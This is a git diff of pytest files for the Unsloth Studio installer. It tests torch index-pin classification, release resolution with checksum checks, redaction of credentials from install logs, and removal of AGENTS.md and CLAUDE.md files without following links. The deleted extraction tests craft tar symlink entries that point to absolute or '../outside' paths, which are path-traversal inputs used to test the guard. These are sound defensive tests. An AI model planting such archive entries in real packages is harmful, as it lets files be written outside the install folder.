@@ -191,6 +267,109 @@ class TestCudaRepairSkips:
         mock_pip = _run_cuda_repair(cvd = "0", torch_state = "hip")
         assert mock_pip.call_count == 1
 
+    def test_matching_tagged_cuda_pin_no_repair(self):
+        # Healthy CUDA torch whose +cuXXX already matches the pin: no reinstall.
+        mock_pip = _run_cuda_repair(
+            index_family = "cu128",
+            torch_state = "cuda|cu128",
+            cuda_version = "12.8",
+        )
+        mock_pip.assert_not_called()
+
+    def test_custom_mirror_leaf_not_treated_as_cuda_pin(self):
+        # A mirror leaf starting with "cu" but not cuXXX (.../custom, .../current) must
+        # NOT be treated as a CUDA pin, so it can't bypass the NVIDIA gate.
+        for _leaf in ("custom", "current"):
+            mock_pip = _run_cuda_repair(
+                nvidia = False,
+                backend = "cuda",
+                index_url = f"https://mymirror.example/{_leaf}",
+                torch_state = "hip",
+            )
+            mock_pip.assert_not_called()
+
+    def test_explicit_cuda_family_leaf_helper(self):
+        # _explicit_cuda_torch_index_url matches cuXXX narrowly, not any cu* leaf.
+        import contextlib
+
+        def _with(url):
+            with patch.dict(stack_mod.os.environ, {"UNSLOTH_TORCH_INDEX_URL": url}, clear = False):
+                stack_mod.os.environ.pop("UNSLOTH_TORCH_INDEX_FAMILY", None)
+                return stack_mod._explicit_cuda_torch_index_url()
+
+        assert _with("https://download.pytorch.org/whl/cu128") is not None
+        assert _with("https://download.pytorch.org/whl/cu126") is not None
+        assert _with("https://mymirror.example/custom") is None
+        assert _with("https://mymirror.example/current") is None
+        assert _with("https://download.pytorch.org/whl/cpu") is None
+        with contextlib.suppress(Exception):
+            stack_mod.os.environ.pop("UNSLOTH_TORCH_INDEX_URL", None)
+
+
+class TestTorchBackendDerivationFromPin:
+    """The module-level _TORCH_BACKEND derivation (standalone `studio update`
+    with no install.sh-set UNSLOTH_TORCH_BACKEND) must classify the pinned index
+    leaf via _is_cuda_family_leaf (^cu[0-9]), NOT a bare startswith("cu"). A
+    full-override URL ending in /current or /custom must fall through to backend
+    "" (probe the GPU) so _ensure_rocm_torch() still repairs a wrong/CPU torch on
+    AMD hosts, instead of being wrongly branded "cuda" and returning early."""
+
+    @staticmethod
+    def _derive(env):
+        # Re-run the module's import-time derivation, using its own _is_cuda_family_leaf
+        # so this stays in lockstep.
+        idx_override = (
+            env.get("UNSLOTH_TORCH_INDEX_URL", "").strip()
+            or env.get("UNSLOTH_TORCH_INDEX_FAMILY", "").strip()
+        )
+        backend = env.get("UNSLOTH_TORCH_BACKEND", "").lower()
+        if not backend:
+            leaf = idx_override.rstrip("/").rsplit("/", 1)[-1].lower()
+            if leaf.startswith(("rocm", "gfx")):
+                backend = "rocm"
+            elif leaf == "cpu":
+                backend = "cpu"
+            elif stack_mod._is_cuda_family_leaf(leaf):
+                backend = "cuda"
+        return backend
+
+    def test_cu128_pin_is_cuda(self):
+        assert (
+            self._derive({"UNSLOTH_TORCH_INDEX_URL": "https://download.pytorch.org/whl/cu128"})
+            == "cuda"
+        )
+
+    def test_cu128_family_is_cuda(self):
+        assert self._derive({"UNSLOTH_TORCH_INDEX_FAMILY": "cu128"}) == "cuda"
+
+    def test_current_leaf_not_cuda(self):
+        # ^cu[0-9] rejects /current -> backend stays "" (probe GPU), so an AMD host still
+        # repairs a CPU/wrong torch instead of short-circuiting.
+        assert self._derive({"UNSLOTH_TORCH_INDEX_URL": "https://mymirror.example/current"}) == ""
+
+    def test_custom_leaf_not_cuda(self):
+        assert self._derive({"UNSLOTH_TORCH_INDEX_URL": "https://mymirror.example/custom"}) == ""
+
+    def test_rocm_and_gfx_pins_are_rocm(self):
+        assert self._derive({"UNSLOTH_TORCH_INDEX_FAMILY": "rocm7.2"}) == "rocm"
+        assert (
+            self._derive({"UNSLOTH_TORCH_INDEX_URL": "https://repo.amd.com/rocm/whl/gfx120X-all"})
+            == "rocm"
+        )
+
+    def test_cpu_pin_is_cpu(self):
+        assert self._derive({"UNSLOTH_TORCH_INDEX_FAMILY": "cpu"}) == "cpu"
+
+    def test_source_uses_helper_not_bare_startswith(self):
+        # Guard against a regression back to elif _idx_leaf.startswith("cu").
+        src = _STACK_PATH.read_text(encoding = "utf-8")
+        assert (
+            "elif _is_cuda_family_leaf(_idx_leaf):" in src
+        ), "_TORCH_BACKEND derivation must classify CUDA via _is_cuda_family_leaf"
+        assert (
+            'elif _idx_leaf.startswith("cu"):' not in src
+        ), "_TORCH_BACKEND derivation must not use a bare startswith('cu')"
+
 
 # CUDA index ladder.
 
diff --git a/tests/studio/install/test_download_host_resolve.py b/tests/studio/install/test_download_host_resolve.py
new file mode 100644
index 0000000000..5108c84062
--- /dev/null
+++ b/tests/studio/install/test_download_host_resolve.py
@@ -0,0 +1,284 @@
+"""Routing of iter_resolved_published_releases between the download-host fast
+path and the GitHub API enumeration; all I/O monkeypatched."""
+
+import importlib.util
+import json
+import sys
+import urllib.error
+from pathlib import Path
+
+import pytest
+
+
+PACKAGE_ROOT = Path(__file__).resolve().parents[3]
+MODULE_PATH = PACKAGE_ROOT / "studio" / "install_llama_prebuilt.py"
+SPEC = importlib.util.spec_from_file_location("studio_install_llama_prebuilt_dlhost", MODULE_PATH)
+assert SPEC is not None and SPEC.loader is not None
+ILP = importlib.util.module_from_spec(SPEC)
+sys.modules[SPEC.name] = ILP
+SPEC.loader.exec_module(ILP)
+
+FORK_REPO = ILP.DEFAULT_PUBLISHED_REPO
+PrebuiltFallback = ILP.PrebuiltFallback
+
+
+def _api_raises(*_a, **_k):
+    raise AssertionError("GitHub API enumeration was used")
+
+
+def _fast_path_raises(_repo):
+    raise AssertionError("download-host fast path was used")
+
+
+def _empty_api(*_a, **_k):
+    return iter(())
+
+
+def _resolve(tag = "latest", **kw):
+    return list(ILP.iter_resolved_published_releases(tag, FORK_REPO, "", **kw))
+
+
+def test_fast_path_yields_latest_without_api(monkeypatch):
+    sentinel = object()
+    monkeypatch.delenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", raising = False)
+    monkeypatch.setattr(ILP, "_download_host_resolved_release", lambda _repo: sentinel)
+    monkeypatch.setattr(ILP, "iter_published_release_bundles", _api_raises)
+    assert _resolve() == [sentinel]
+
+
+def test_fast_path_disabled_by_caller_uses_api(monkeypatch):
+    # macOS passes allow_download_host_fast_path = False to keep the walk-back.
+    monkeypatch.delenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", raising = False)
+    monkeypatch.setattr(ILP, "_download_host_resolved_release", _fast_path_raises)
+    monkeypatch.setattr(ILP, "iter_published_release_bundles", _empty_api)
+    with pytest.raises(PrebuiltFallback):
+        _resolve(allow_download_host_fast_path = False)
+
+
+def test_fast_path_disabled_by_env_uses_api(monkeypatch):
+    monkeypatch.setenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", "1")
+    monkeypatch.setattr(ILP, "_download_host_resolved_release", _fast_path_raises)
+    monkeypatch.setattr(ILP, "iter_published_release_bundles", _empty_api)
+    with pytest.raises(PrebuiltFallback):
+        _resolve()
+
+
+def test_fast_path_skipped_for_non_latest_request(monkeypatch):
+    monkeypatch.delenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", raising = False)
+    monkeypatch.setattr(ILP, "_download_host_resolved_release", _fast_path_raises)
+    monkeypatch.setattr(ILP, "iter_published_release_bundles", _empty_api)
+    with pytest.raises(PrebuiltFallback):
+        _resolve(tag = "b9964")
+
+
+def test_fast_path_none_falls_back_to_api(monkeypatch):
+    monkeypatch.delenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", raising = False)
+    monkeypatch.setattr(ILP, "_download_host_resolved_release", lambda _repo: None)
+    used = {"api": False}
+
+    def _api(*_a, **_k):
+        used["api"] = True
+        return iter(())
+
+    monkeypatch.setattr(ILP, "iter_published_release_bundles", _api)
+    with pytest.raises(PrebuiltFallback):
+        _resolve()
+    assert used["api"]
+
+
+def test_fast_path_rejected_checksum_falls_back_to_api(monkeypatch):
+    monkeypatch.delenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", raising = False)
+
+    def _reject(_repo):
+        raise PrebuiltFallback("checksum mismatch")
+
+    monkeypatch.setattr(ILP, "_download_host_resolved_release", _reject)
+    used = {"api": False}
+
+    def _api(*_a, **_k):
+        used["api"] = True
+        return iter(())
+
+    monkeypatch.setattr(ILP, "iter_published_release_bundles", _api)
+    with pytest.raises(PrebuiltFallback):
+        _resolve()
+    assert used["api"]
+
+
+# --- _download_host_resolved_release body (only download_bytes stubbed) --------
+
+RELEASE_TAG = "b9964-mix-53618c5"
+UPSTREAM_TAG = "b9964"
+BINARY_ASSET = "app-b9964-mix-53618c5-windows-x64-rocm-gfx1151.zip"
+MANIFEST_ASSET = ILP.DEFAULT_PUBLISHED_MANIFEST_ASSET
+SHA256_ASSET = ILP.DEFAULT_PUBLISHED_SHA256_ASSET
+
+
+def _manifest_bytes():
+    return json.dumps(
+        {
+            "schema_version": 1,
+            "component": "llama.cpp",
+            "upstream_tag": UPSTREAM_TAG,
+            "source_repo": "unslothai/llama.cpp",
+            "source_repo_url": "https://github.com/unslothai/llama.cpp",
+            "artifacts": [
+                {
+                    "asset_name": BINARY_ASSET,
+                    "install_kind": "windows-rocm-app",
+                    "supported_sms": [],
+                    "gfx_target": "gfx1151",
+                    "mapped_targets": ["gfx1151"],
+                    "rank": 10,
+                }
+            ],
+        }
+    ).encode("utf-8")
+
+
+def _sha_payload(*, manifest_sha256 = None):
+    # BINARY_ASSET is deliberately absent: real releases key its hash under an
+    # upstream-tag alias, so the manifest name must still get a tag-pinned URL.
+    # The source archive entry keeps _validate_checksums_against_bundle happy.
+    artifacts = {"llama.cpp-source-b9964.tar.gz": {"sha256": "a" * 64}}
+    if manifest_sha256 is not None:
+        artifacts[MANIFEST_ASSET] = {"sha256": manifest_sha256}
+    return {
+        "schema_version": 1,
+        "component": "llama.cpp",
+        "release_tag": RELEASE_TAG,
+        "upstream_tag": UPSTREAM_TAG,
+        "artifacts": artifacts,
+    }
+
+
+def _stub_downloads(
+    monkeypatch,
+    sha_payload,
+    manifest_bytes,
+    *,
+    latest_tag = RELEASE_TAG,
+):
+    def _no_api(*_a, **_k):
+        raise AssertionError("GitHub API was used")
+
+    monkeypatch.setattr(ILP, "github_release", _no_api)
+    monkeypatch.setattr(ILP, "fetch_json", _no_api)
+    # The authoritative latest tag comes from the /releases/latest redirect
+    # (github.com, no api.github.com); stub it so no real request is made.
+    monkeypatch.setattr(ILP, "_download_host_latest_release_tag", lambda _repo: latest_tag)
+
+    def _download_bytes(url, *_a, **_k):
+        if SHA256_ASSET in url:
+            return json.dumps(sha_payload).encode("utf-8")
+        if MANIFEST_ASSET in url:
+            if isinstance(manifest_bytes, Exception):
+                raise manifest_bytes
+            return manifest_bytes
+        raise AssertionError(f"unexpected download: {url}")
+
+    monkeypatch.setattr(ILP, "download_bytes", _download_bytes)
+
+
+def test_resolved_release_adds_tag_pinned_url_for_manifest_only_asset(monkeypatch):
+    _stub_downloads(monkeypatch, _sha_payload(), _manifest_bytes())
+    resolved = ILP._download_host_resolved_release(FORK_REPO)
+    assert resolved is not None
+    assert resolved.bundle.release_tag == RELEASE_TAG
+    # Binary is named only in the manifest, yet the fast path must expose a
+    # tag-pinned CDN URL for it (the API path gets it from the real asset list).
+    assert resolved.bundle.assets[BINARY_ASSET] == (
+        f"https://github.com/{FORK_REPO}/releases/download/{RELEASE_TAG}/{BINARY_ASSET}"
+    )
+
+
+def test_resolved_release_rejects_manifest_checksum_mismatch(monkeypatch):
+    # A wrong manifest hash in the checksum payload must fail closed, so the
+    # router falls back to the API rather than trusting the fast path.
+    _stub_downloads(monkeypatch, _sha_payload(manifest_sha256 = "b" * 64), _manifest_bytes())
+    with pytest.raises(PrebuiltFallback, match = "manifest checksum"):
+        ILP._download_host_resolved_release(FORK_REPO)
+
+
+def test_resolved_release_rejects_release_tag_mismatch(monkeypatch):
+    # The checksum asset self-reports RELEASE_TAG, but the authoritative
+    # /releases/latest redirect resolves a different tag: the fast path must not
+    # pin to the stale self-reported tag (it raises, so the router falls back).
+    _stub_downloads(monkeypatch, _sha_payload(), _manifest_bytes(), latest_tag = "b9999-mix-other")
+    with pytest.raises(RuntimeError, match = "did not match pinned release tag"):
+        ILP._download_host_resolved_release(FORK_REPO)
+
+
+def test_resolved_release_manifest_404_falls_back(monkeypatch):
+    # An in-progress release can serve the checksum asset before the manifest; a
+    # manifest 404 returns None so the router falls back to the API.
+    not_found = urllib.error.HTTPError(
+        f"https://github.com/{FORK_REPO}/releases/download/{RELEASE_TAG}/{MANIFEST_ASSET}",
+        404,
+        "Not Found",
+        {},  # type: ignore[arg-type]
+        None,
+    )
+    _stub_downloads(monkeypatch, _sha_payload(), not_found)
+    assert ILP._download_host_resolved_release(FORK_REPO) is None
+
+
+# --- _download_host_latest_release_tag (redirect resolution) -------------------
+
+
+class _FakeResponse:
+    def __init__(self, url):
+        self._url = url
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, *_a):
+        return False
+
+    def geturl(self):
+        return self._url
+
+
+class _FakeOpener:
+    def __init__(
+        self,
+        *,
+        url = None,
+        exc = None,
+    ):
+        self._url = url
+        self._exc = exc
+
+    def open(
+        self,
+        _request,
+        timeout = None,
+    ):
+        if self._exc is not None:
+            raise self._exc
+        return _FakeResponse(self._url)
+
+
+def test_latest_release_tag_parses_redirect(monkeypatch):
+    final = f"https://github.com/{FORK_REPO}/releases/tag/{RELEASE_TAG}"
+    monkeypatch.setattr(ILP, "_URL_OPENER", _FakeOpener(url = final))
+    assert ILP._download_host_latest_release_tag(FORK_REPO) == RELEASE_TAG
+
+
+def test_latest_release_tag_none_on_404(monkeypatch):
+    not_found = urllib.error.HTTPError(
+        f"https://github.com/{FORK_REPO}/releases/latest",
+        404,
+        "Not Found",
+        {},
+        None,  # type: ignore[arg-type]
+    )
+    monkeypatch.setattr(ILP, "_URL_OPENER", _FakeOpener(exc = not_found))
+    assert ILP._download_host_latest_release_tag(FORK_REPO) is None
+
+
+def test_latest_release_tag_none_when_not_a_tag_url(monkeypatch):
+    # No /releases/tag/ segment (e.g. redirected somewhere unexpected) -> None.
+    monkeypatch.setattr(ILP, "_URL_OPENER", _FakeOpener(url = f"https://github.com/{FORK_REPO}"))
+    assert ILP._download_host_latest_release_tag(FORK_REPO) is None
diff --git a/tests/studio/install/test_gpu_detection_followups.py b/tests/studio/install/test_gpu_detection_followups.py
index f5ad9566d7..d2fd7ae8db 100644
--- a/tests/studio/install/test_gpu_detection_followups.py
+++ b/tests/studio/install/test_gpu_detection_followups.py
@@ -284,7 +284,9 @@ class TestBackendExportLeafClassification:
     def test_export_block_uses_leaf(self, install_src):
         anchor = install_src.find("_torch_index_leaf=")
         assert anchor >= 0, "backend export must classify on the final path segment"
-        window = install_src[anchor : anchor + 500]
+        # Window spans the leaf-normalization prelude (query/frag drop + all-slash trim loop)
+        # through the export case arms.
+        window = install_src[anchor : anchor + 900]
         assert 'export UNSLOTH_TORCH_BACKEND="rocm"' in window
         assert 'export UNSLOTH_TORCH_BACKEND="cpu"' in window
         assert 'export UNSLOTH_TORCH_BACKEND="cuda"' in window
@@ -459,3 +461,130 @@ class TestHiddenCvdNotUsable:
             cvd,
         )
         assert out == expected
+
+
+class TestRedactInstallOutput:
+    """_redact_install_output scrubs index-URL credentials from a captured install log
+    before it is printed on failure (uv/pip embeds the failing --index-url verbatim)."""
+
+    def test_userinfo_redacted(self):
+        out = stack_mod._redact_install_output(
+            "ERROR: failed https://alice:s3cr3t@download.pytorch.org/whl/cu128"
+        )
+        assert out == "ERROR: failed https://<redacted>@download.pytorch.org/whl/cu128"
+
+    def test_bytes_input_decoded_and_redacted(self):
+        out = stack_mod._redact_install_output(b"fetch https://ghp_deadbeef@host/whl/cu128 failed")
+        assert out == "fetch https://<redacted>@host/whl/cu128 failed"
+
+    def test_query_values_redacted(self):
+        out = stack_mod._redact_install_output(
+            "url https://host/whl/cu128?token=abcd1234&channel=beta unreachable"
+        )
+        assert out == "url https://host/whl/cu128?token=<redacted>&channel=<redacted> unreachable"
+
+    def test_fragment_redacted(self):
+        out = stack_mod._redact_install_output(
+            "ERROR: could not fetch https://mirror.local/whl/cu128#token=SECRET123 (403)"
+        )
+        assert out == "ERROR: could not fetch https://mirror.local/whl/cu128#<redacted> (403)"
+
+    def test_query_and_fragment_both_redacted(self):
+        out = stack_mod._redact_install_output("https://host/whl/cu128?token=abc#sig=xyz done")
+        assert out == "https://host/whl/cu128?token=<redacted>#<redacted> done"
+
+    def test_bare_hash_comment_untouched(self):
+        # The fragment redaction is URL-anchored: a shell comment in tool output survives.
+        assert (
+            stack_mod._redact_install_output("# retrying with --no-cache-dir")
+            == "# retrying with --no-cache-dir"
+        )
+
+    def test_plain_line_untouched(self):
+        assert (
+            stack_mod._redact_install_output("Resolved 42 packages in 1.2s")
+            == "Resolved 42 packages in 1.2s"
+        )
+
+    def test_no_secret_substring_survives(self):
+        out = stack_mod._redact_install_output(
+            "https://alice:s3cr3t@host/whl/cu128?token=SUPERSECRET#frag=ALSOSECRET"
+        )
+        assert "s3cr3t" not in out and "SUPERSECRET" not in out and "ALSOSECRET" not in out
+
+
+class TestTrimIndexPathSlashes:
+    """_trim_index_path_slashes strips trailing PATH slashes only; a ?query/#fragment token
+    ending in "/" must survive (a whole-URL rstrip would corrupt a base64 token)."""
+
+    def test_double_path_slash_collapsed(self):
+        assert stack_mod._trim_index_path_slashes("https://h/whl/cu128//") == "https://h/whl/cu128"
+
+    def test_query_token_slash_preserved(self):
+        assert (
+            stack_mod._trim_index_path_slashes("https://h/whl/cu128?token=ab12cd/")
+            == "https://h/whl/cu128?token=ab12cd/"
+        )
+
+    def test_path_slash_trimmed_query_kept(self):
+        assert (
+            stack_mod._trim_index_path_slashes("https://h/whl/cu128//?token=ab12cd/")
+            == "https://h/whl/cu128?token=ab12cd/"
+        )
+
+    def test_fragment_slash_preserved(self):
+        assert (
+            stack_mod._trim_index_path_slashes("https://h/whl/cu128#anchor/")
+            == "https://h/whl/cu128#anchor/"
+        )
+
+
+class TestRocmFamilyLeafParity:
+    """_is_pip_rocm_family_leaf must match re.fullmatch(rocm\\d+(?:\\.\\d+)?): a trailing dot
+    (rocm7.) is a CUSTOM pin, not a family (the historical bash/py validator asymmetry)."""
+
+    @pytest.mark.parametrize(
+        "leaf, expected",
+        [
+            ("rocm7", True),
+            ("rocm7.2", True),
+            ("gfx1151", True),
+            ("rocm7.", False),
+            ("rocm.7", False),
+            ("rocm7..2", False),
+            ("rocm7.2.1", False),
+            ("rocm7.2-private", False),
+            ("cpu", False),
+            ("cu128", False),
+        ],
+    )
+    def test_family_classification(self, leaf, expected):
+        assert stack_mod._is_pip_rocm_family_leaf(leaf) is expected
+
+
+class TestTorchIndexLeafAllSlashes:
+    """_torch_index_leaf drops query/fragment then strips ALL trailing slashes, so a
+    double-slash index still yields the real leaf (not an empty string)."""
+
+    @pytest.mark.parametrize(
+        "url, expected",
+        [
+            ("https://m/whl/cu128//", "cu128"),
+            ("https://m/whl/rocm7.2///", "rocm7.2"),
+            ("https://m/whl/cu128//?token=x", "cu128"),
+            ("https://m/whl/cu128/", "cu128"),
+        ],
+    )
+    def test_leaf_never_empty_on_double_slash(self, url, expected):
+        assert stack_mod._torch_index_leaf(url) == expected
+
+
+class TestUvIndexEnvVarsScrub:
+    """The pinned-install env scrub must drop PIP_NO_INDEX (which makes the pip fallback
+    ignore ALL indexes, defeating the pin) and PIP_INDEX_URL (replaces the pinned index)."""
+
+    def test_pip_no_index_scrubbed(self):
+        assert "PIP_NO_INDEX" in stack_mod._UV_INDEX_ENV_VARS
+
+    def test_pip_index_url_scrubbed(self):
+        assert "PIP_INDEX_URL" in stack_mod._UV_INDEX_ENV_VARS
diff --git a/tests/studio/install/test_install_llama_prebuilt_logic.py b/tests/studio/install/test_install_llama_prebuilt_logic.py
index c852d7c495..0964c047d5 100644
--- a/tests/studio/install/test_install_llama_prebuilt_logic.py
+++ b/tests/studio/install/test_install_llama_prebuilt_logic.py
@@ -3,6 +3,8 @@ import importlib.util
 import io
 import json
 import os
+import shutil
+import subprocess
 import sys
 import tarfile
 import zipfile
@@ -20,7 +22,6 @@ sys.modules[SPEC.name] = INSTALL_LLAMA_PREBUILT
 SPEC.loader.exec_module(INSTALL_LLAMA_PREBUILT)
 
 PrebuiltFallback = INSTALL_LLAMA_PREBUILT.PrebuiltFallback
-extract_archive = INSTALL_LLAMA_PREBUILT.extract_archive
 binary_env = INSTALL_LLAMA_PREBUILT.binary_env
 is_secret_env_name = INSTALL_LLAMA_PREBUILT.is_secret_env_name
 scrub_env = INSTALL_LLAMA_PREBUILT.scrub_env
@@ -30,6 +31,7 @@ AssetChoice = INSTALL_LLAMA_PREBUILT.AssetChoice
 ApprovedArtifactHash = INSTALL_LLAMA_PREBUILT.ApprovedArtifactHash
 ApprovedReleaseChecksums = INSTALL_LLAMA_PREBUILT.ApprovedReleaseChecksums
 hydrate_source_tree = INSTALL_LLAMA_PREBUILT.hydrate_source_tree
+remove_agent_instruction_files = INSTALL_LLAMA_PREBUILT.remove_agent_instruction_files
 validate_prebuilt_choice = INSTALL_LLAMA_PREBUILT.validate_prebuilt_choice
 activate_install_tree = INSTALL_LLAMA_PREBUILT.activate_install_tree
 activate_staged_dir = INSTALL_LLAMA_PREBUILT.activate_staged_dir
@@ -102,105 +104,182 @@ def approved_checksums_for(
     )
 
 
-def test_extract_archive_allows_safe_tar_symlink_chain(tmp_path: Path):
-    archive_path = tmp_path / "bundle.tar.gz"
-    payload = b"shared-object"
-
-    with tarfile.open(archive_path, "w:gz") as archive:
-        versioned = tarfile.TarInfo("libllama.so.0.0.1")
-        versioned.size = len(payload)
-        archive.addfile(versioned, io_bytes(payload))
-
-        soname = tarfile.TarInfo("libllama.so.0")
-        soname.type = tarfile.SYMTYPE
-        soname.linkname = "libllama.so.0.0.1"
-        archive.addfile(soname)
-
-        linker_name = tarfile.TarInfo("libllama.so")
-        linker_name.type = tarfile.SYMTYPE
-        linker_name.linkname = "libllama.so.0"
-        archive.addfile(linker_name)
-
-    destination = tmp_path / "extract"
-    extract_archive(archive_path, destination)
-
-    assert (destination / "libllama.so.0.0.1").read_bytes() == payload
-    assert (destination / "libllama.so.0").is_symlink()
-    assert (destination / "libllama.so").is_symlink()
-    assert (destination / "libllama.so").resolve().read_bytes() == payload
+# The extract_archive guard tests (safe symlink chain / hardlink, absolute or
+# escaping or unresolved symlink targets, zip symlink entries) moved verbatim
+# to tests/studio/install/test_prebuilt_core.py: extract_archive is the shared
+# prebuilt_core implementation, re-exported by this installer.
 
 
-def test_extract_archive_allows_safe_tar_hardlink(tmp_path: Path):
-    archive_path = tmp_path / "bundle.tar.gz"
-    payload = b"quantize"
+def test_remove_agent_instruction_files_does_not_follow_links(tmp_path: Path):
+    managed = tmp_path / "managed"
+    nested = managed / "nested"
+    external = tmp_path / "external"
+    nested.mkdir(parents = True)
+    external.mkdir()
+    (managed / "AGENTS.md").write_text("managed root", encoding = "utf-8")
+    (nested / "AGENTS.md").write_text("managed nested", encoding = "utf-8")
+    (managed / "CLAUDE.md").write_text("managed Claude root", encoding = "utf-8")
+    (nested / "CLAUDE.md").write_text("managed Claude nested", encoding = "utf-8")
+    (external / "AGENTS.md").write_text("user owned", encoding = "utf-8")
+    (external / "CLAUDE.md").write_text("user-owned Claude", encoding = "utf-8")
+    try:
+        (managed / "external-link").symlink_to(external, target_is_directory = True)
+        linked_root = tmp_path / "linked-root"
+        linked_root.symlink_to(external, target_is_directory = True)
+    except OSError as exc:
+        pytest.skip(f"directory symlinks unavailable: {exc}")
 
-    with tarfile.open(archive_path, "w:gz") as archive:
-        target = tarfile.TarInfo("llama-quantize")
-        target.size = len(payload)
-        archive.addfile(target, io_bytes(payload))
+    assert remove_agent_instruction_files(managed) == 4
+    assert not list(managed.rglob("AGENTS.md"))
+    assert not list(managed.rglob("CLAUDE.md"))
+    assert (external / "AGENTS.md").read_text(encoding = "utf-8") == "user owned"
+    assert (external / "CLAUDE.md").read_text(encoding = "utf-8") == "user-owned Claude"
 
-        hardlink = tarfile.TarInfo("llama-quantize-copy")
-        hardlink.type = tarfile.LNKTYPE
-        hardlink.linkname = "llama-quantize"
-        archive.addfile(hardlink)
-
-    destination = tmp_path / "extract"
-    extract_archive(archive_path, destination)
-
-    assert (destination / "llama-quantize-copy").read_bytes() == payload
-    assert not (destination / "llama-quantize-copy").is_symlink()
+    assert remove_agent_instruction_files(linked_root) == 0
+    assert (external / "AGENTS.md").exists()
+    assert (external / "CLAUDE.md").exists()
 
 
-def test_extract_archive_rejects_absolute_tar_symlink_target(tmp_path: Path):
-    archive_path = tmp_path / "bundle.tar.gz"
+@pytest.mark.skipif(os.name != "nt", reason = "Windows junction behavior")
+def test_remove_agent_instruction_files_does_not_follow_windows_junctions(tmp_path: Path):
+    managed = tmp_path / "managed"
+    external = tmp_path / "external"
+    managed.mkdir()
+    external.mkdir()
+    (external / "AGENTS.md").write_text("user owned", encoding = "utf-8")
+    (external / "CLAUDE.md").write_text("user-owned Claude", encoding = "utf-8")
 
-    with tarfile.open(archive_path, "w:gz") as archive:
-        entry = tarfile.TarInfo("libllama.so")
-        entry.type = tarfile.SYMTYPE
-        entry.linkname = "/tmp/libllama.so.0"
-        archive.addfile(entry)
+    nested_junction = managed / "external-junction"
+    root_junction = tmp_path / "linked-root"
+    for junction in (nested_junction, root_junction):
+        result = subprocess.run(
+            ["cmd", "/d", "/c", "mklink", "/J", str(junction), str(external)],
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        if result.returncode != 0:
+            pytest.skip(f"directory junctions unavailable: {result.stderr or result.stdout}")
 
-    with pytest.raises(PrebuiltFallback, match = "archive link used an absolute target"):
-        extract_archive(archive_path, tmp_path / "extract")
+    assert remove_agent_instruction_files(managed) == 0
+    assert remove_agent_instruction_files(root_junction) == 0
+    assert (external / "AGENTS.md").read_text(encoding = "utf-8") == "user owned"
+    assert (external / "CLAUDE.md").read_text(encoding = "utf-8") == "user-owned Claude"
 
 
-def test_extract_archive_rejects_escaping_tar_symlink_target(tmp_path: Path):
-    archive_path = tmp_path / "bundle.tar.gz"
+def test_remove_agent_instruction_files_prunes_linklike_directories(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+):
+    managed = tmp_path / "managed"
+    simulated_junction = managed / "simulated-junction"
+    simulated_junction.mkdir(parents = True)
+    agents = simulated_junction / "AGENTS.md"
+    claude = simulated_junction / "CLAUDE.md"
+    agents.write_text("external instructions", encoding = "utf-8")
+    claude.write_text("external Claude instructions", encoding = "utf-8")
+    real_is_link_or_junction = INSTALL_LLAMA_PREBUILT._is_link_or_junction
 
-    with tarfile.open(archive_path, "w:gz") as archive:
-        entry = tarfile.TarInfo("libllama.so")
-        entry.type = tarfile.SYMTYPE
-        entry.linkname = "../outside/libllama.so.0"
-        archive.addfile(entry)
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT,
+        "_is_link_or_junction",
+        lambda path: path == simulated_junction or real_is_link_or_junction(path),
+    )
 
-    with pytest.raises(PrebuiltFallback, match = "archive link escaped destination"):
-        extract_archive(archive_path, tmp_path / "extract")
+    assert remove_agent_instruction_files(managed) == 0
+    assert agents.exists()
+    assert claude.exists()
 
 
-def test_extract_archive_rejects_unresolved_tar_symlink_target(tmp_path: Path):
-    archive_path = tmp_path / "bundle.tar.gz"
+def test_remove_agent_instruction_files_continues_after_unlink_error(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
+):
+    managed = tmp_path / "managed"
+    managed.mkdir()
+    blocked = managed / "AGENTS.md"
+    removable = managed / "CLAUDE.md"
+    blocked.write_text("blocked", encoding = "utf-8")
+    removable.write_text("remove me", encoding = "utf-8")
+    real_unlink = Path.unlink
 
-    with tarfile.open(archive_path, "w:gz") as archive:
-        entry = tarfile.TarInfo("libllama.so")
-        entry.type = tarfile.SYMTYPE
-        entry.linkname = "libllama.so.0"
-        archive.addfile(entry)
+    def selective_unlink(path: Path, *args, **kwargs):
+        if path == blocked:
+            raise PermissionError(errno.EACCES, "Access is denied", str(path))
+        return real_unlink(path, *args, **kwargs)
 
-    with pytest.raises(PrebuiltFallback, match = "unresolved link entries"):
-        extract_archive(archive_path, tmp_path / "extract")
+    monkeypatch.setattr(Path, "unlink", selective_unlink)
+
+    assert remove_agent_instruction_files(managed) == 1
+    assert blocked.exists()
+    assert not removable.exists()
+    captured = capsys.readouterr()
+    assert "could not remove contributor-only instruction" in captured.out + captured.err
 
 
-def test_extract_archive_rejects_zip_symlink_entry(tmp_path: Path):
-    archive_path = tmp_path / "bundle.zip"
+def test_main_resolves_linked_install_path_and_preserves_cleanup_root(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+):
+    target = tmp_path / "target"
+    linked_root = tmp_path / "linked-root"
+    target.mkdir()
+    try:
+        linked_root.symlink_to(target, target_is_directory = True)
+    except OSError as exc:
+        pytest.skip(f"directory symlinks unavailable: {exc}")
 
-    with zipfile.ZipFile(archive_path, "w") as archive:
-        info = zipfile.ZipInfo("libllama.so")
-        info.create_system = 3
-        info.external_attr = 0o120777 << 16
-        archive.writestr(info, "libllama.so.0")
+    received = {}
+    monkeypatch.setattr(
+        sys,
+        "argv",
+        ["install_llama_prebuilt.py", "--install-dir", str(linked_root)],
+    )
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT,
+        "install_prebuilt",
+        lambda **kwargs: received.update(kwargs),
+    )
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "_LOG_TO_STDOUT", False)
 
